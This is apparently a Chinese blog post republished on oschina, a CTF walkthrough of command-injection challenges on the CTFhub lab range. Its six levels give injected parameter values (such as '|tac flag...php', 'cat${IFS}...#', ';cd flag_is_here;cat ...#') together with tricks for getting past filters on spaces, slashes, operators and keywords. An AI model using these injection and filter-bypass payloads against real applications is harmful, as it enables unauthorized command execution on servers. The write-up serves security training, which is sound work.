文章源自【字节脉搏社区】-字节脉搏实验室
作者-墨子辰
扫描下方二维码进入社区:
什么是命令行注入漏洞
命令行注入漏洞是指应用有时需要调用一些执行系统命令的函数, 如: system()、 exec()、 shell_ _exec()、eval()、passthru(), 代码未对用户可控参数做过滤,当用户能控制这些函数中的参数时,就可以将恶意系统命令拼接到正常命令中,从而造成命令执行攻击。
以下我以CTFhub在线靶场向大家介绍一些命令注入的操作。
NO.1 无过滤注入
代码如上所示
可以看见这里没有任何限制条件,也就是说我们可以在这里模拟我们自己的Linux系统的命令行操作。
NO.2 过滤cat
代码如上所示
很明显,这里过滤掉了cat关键字。这时候有如下几总方式可以替换cat
cat 由第一行开始显示内容,并将所有内容输出
tac 从最后一行倒序显示内容,并将所有内容输出
more 根据窗口大小,一页一页的显示文件内容
less 和more类似,但其优点可以往前翻页,而且进行可以搜索字符
head 只显示头几行
tail 只显示最后几行
nl 类似于cat -n,显示时输出行号
tailf 类似于tail -f
先ls查看目录
发现存在flag_313911065126325.php
获取flag即可
?ip=|tac flag_313911065126325.php
flag在网页源代码中
NO.3 过滤空格
代码如上所示
空格过滤掉,我们得想办法用其它符号代替空格即可
使用IFS$9、%09、<、>、<>、{,}、%20、${IFS}、${IFS}来代替空格
?ip=|ls //查看当前目录
?ip=|cat${IFS}flag_7868204008268.php# //获取flag
NO.4 过滤目录分隔符
代码如上所示
这里过滤掉 "\" 和 “/”
首先还是查看目录
;ls
发现
flag_is_here
index.php
进入flag_is_here 再次查看目录
?ip=;cd flag_is_here;ls#
发现
flag_24072605330316.php
获取flag
?ip=;cd flag_is_here;cat flag_24072605330316.php#
NO.5 过滤运算符
代码如上所示
这里过滤掉了 | & 运算符 直接用 ; 代替即可
?ip=;cat flag_228482899822968.php# //获取flag
NO.6 综合过滤练习
这里过滤的东西很多:
|| & ; | cat flag ctfhub \ / 空格
这里我用换行符替换 运算符
换行符%0a
回车符%9d
NO.6参考
https://blog.csdn.net/bmth666/article/details/104836708
以下链接为其它大佬的思路,个人感觉更为简单。
https://blog.csdn.net/weixin_43326436/article/details/106719844
通知!
公众号招募文章投稿小伙伴啦!只要你有技术有想法要分享给更多的朋友,就可以参与到我们的投稿计划当中哦~感兴趣的朋友公众号首页菜单栏点击【商务合作-我要投稿】即可。期待大家的参与~
记得扫码
关注我们
本文分享自微信公众号 - 字节脉搏实验室(zijiemaiboshiyanshi)。
如有侵权,请联系 support@oschina.cn 删除。
本文参与“OSC源创计划”,欢迎正在阅读的你也加入,一起分享。
来源:oschina
链接:https://my.oschina.net/u/3076320/blog/4372602